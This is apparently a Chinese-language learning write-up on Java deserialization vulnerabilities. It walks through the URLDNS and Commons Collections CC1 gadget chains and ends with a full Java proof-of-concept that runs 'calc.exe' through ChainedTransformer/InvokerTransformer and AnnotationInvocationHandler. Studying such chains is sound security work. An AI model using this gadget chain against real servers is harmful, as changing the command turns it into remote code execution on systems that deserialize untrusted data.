1、序列化的实现
java序列化的是对象属性的,只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列。(不是则会抛出异常),静态成员变量是属于类的,所以静态成员变量是不能被序列化的,被transient 标识的对象成员变量不参与序列化。
2、重写readObject方法的原因
java.lang.Object
└── java.io.InputStream
└── java.io.ObjectInputStream
重写(Override)是指子类定义了一个与其父类中具有相同名称、参数列表和返回类型的方法,并且子类方法的实现覆盖了父类方法的实现。重写好处在于可以根据父类已有的方法选择性去的重写,比如父类有a,b,c,readobject()这四个方法,但是你只希望使用readObject()方法进行重写,你就可以只重写readObject()方法。
3、Java反序列化漏洞条件
共同条件继承Serializable
入口类:因为反序列化一定会调用readObject()方法,所以可以把readObject()当做反序列化的入口,所以我们要找一个类作为入口类,这个类必须继承Serializable,然后重写readObject,重写的这个readObject最好调用常见的函数,参数类型宽泛(Object 类最宽泛,接口类例如HashMap随便存放各种参数),最好是JDK自带的类(这里是因为要对方的服务器上也存在这个类才可以)
调用链:gadget chain 相同名称,相同类型
执行类:(rce ssrf写文件等)最重要
URLDNS链分析
思路:URL这个类有解析DNS的的方法,通过调用类中的hashCode里的getHostAddress(u);方法可以直接解析dns,若想通过构造恶意类来攻击目标服务器实现DNS解析,可以考虑此方法。但是反序列化一定会调用的是readObjet()方法,也就是上面提到的readObject()当做反序列化的入口,所以我们要找一个类作为入口类,这个类必须继承Serializable,然后重写readObject。这里如果你想到用URL类下自带的readObject方法,这个入口选择是错误的,如下图所示。
从图中我们可以看出,URL类中的readObject并无可以进一步利用的函数"常见的函数,参数类型宽泛(Object 类最宽泛,接口类,例如HashMap随便存放各种参数)"因此我们就想找其他类作为入口,中间如果有相同名称,相同类型可以构造调用链来解决。去找新的入口类调用hashCode方法,发现HashMap类下有有一个hash函数调用了hashCode,并且右键hash查找用法发现了readObject,构造链已经确定。HashMap------>readObject()------>hash()------>hashcode()

POC
一开始是这样写的如下图如
debug发现,序列化的时候就会解析DNS,原因是因为URL里的hashCode会默认hashCode=-1,导致进去hashCode去解析DNS。
但是在反序列化的时候我们给URL之前默认给的值是1,这样URL下的hashCode方法就不会去执行调用handler.hashCode去解析DNS,导致我们构造的恶意类无用。因此考虑在调用hhandler.hashCode之前把hashCode改为1,然后再反序列化之前再把hashCode改为-1。
CC1链分析
首先找到Transform这个接口类看他的实现方法有哪些
在InvokerTransformer类调用的transform方法发现此方法的类,参数类型,值都是可控的类似于后门,可以创建实现任意类,这里我们把他当做sink
进一步查找有无通过readObject方法调用transform方法的,找不到,因此找中间方法,找到了TransformedMap类下的checksetvalue方法调用了transform
valueTransformer.transform(value);这里简单分析一下,当valueTransformer=InvokerTransformer
value=Runtime.class,便可实现命令执行。
这里通过valueTransformer构造方法传参
继续去找调用了checkSetValue方法的类,在这个AbstractInputCheckedMapDecorator抽象类下的静态类MapEntry调用了setValue
这里我们可以发现
MapEntry extends AbstractMapEntryDecorator
public abstract class AbstractMapEntryDecorator implements Map.Entry, KeyValue
Map.Entry还是接口类
知识点:接口类必须被实现,抽象类的方法只能由子类实现
所以调用MapEntry类中的setValu方法其实调用的是MapEntry下的setValue()
然后再次去寻找那个类下的readObject()方法调用了setValue()方法,在AnnotationInvocationHandler下发现了readObject方法并且调用了setValue()
下图是根据以上调用链条写的POC
这里进入调用setValue()首先要满足两个if条件
这是
在调试代码的时候发现我们传入的memberTypes为空
通过此行代码可以发现
Class<?> memberType = memberTypes.get(name);
他是从传入的mmberType通过get方法查找有无对应的参数
下图我们可以看到Override类里并没有方法调用所以我们这里考虑换一个有调用方法的类

这个地方把key改成value
调试代码显示memberType已经不为空了
然后在想如何绕过第二个if
这里就要利用到了Transformer接口实现的另一个类ConstantTransformer,它实现了transform方法无论输入对象是什么,他都会返回参数构造中的固定值
但是你会发现,你不仅要调用创建InvokerTransformer,还要调用创建ConstantTransformer,如何解决这个问题呢,这时候利益用到了Transformer接口实现的另一个类ChainedTransformer他的transform方法是一个递归调用transfrom方法正合适可以拿来给我们使用
调用setvalue方法你会发现传入的参数是无效的参数,这时候就巧妙地用到了constantTransformer.transform() 方法,因为这个方法不管参数是什么,他最终都只会返回 iConstant 对象,我们把这个类里的 iConstant 赋值为 Runtime 对象,就可以使链条闭环
同时这里还有一个问题,Runtime类没有继承Serializable,所以要通过反射来实现,这里想到InvokerTransformer的transform可以实现任意类因此通过此方法实现Runtime类来实现命令执行
最后测试
成功
完整POC
java
package com.example.fastjson122.demos.web;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class TestCC1 {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
//Runtime.getRuntime().exec("calc");
Runtime r=Runtime.getRuntime();
// Class c=Runtime.class;
// Method execMethod=c.getMethod("exec",String.class);
// execMethod.invoke(r,"calc");
Transformer[] transformer=new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformer);
//Transformer transformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> map=new HashMap<>();
map.put("value","value");
Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,chainedTransformer);
//transformedmap.put(1,Runtime.getRuntime());
// for(Map.Entry entry:transformedmap.entrySet()){
// entry.setValue(r);
// }
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annConstructor=c.getDeclaredConstructor(Class.class,Map.class);
annConstructor.setAccessible(true);
Object o=annConstructor.newInstance(Target.class,transformedmap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
}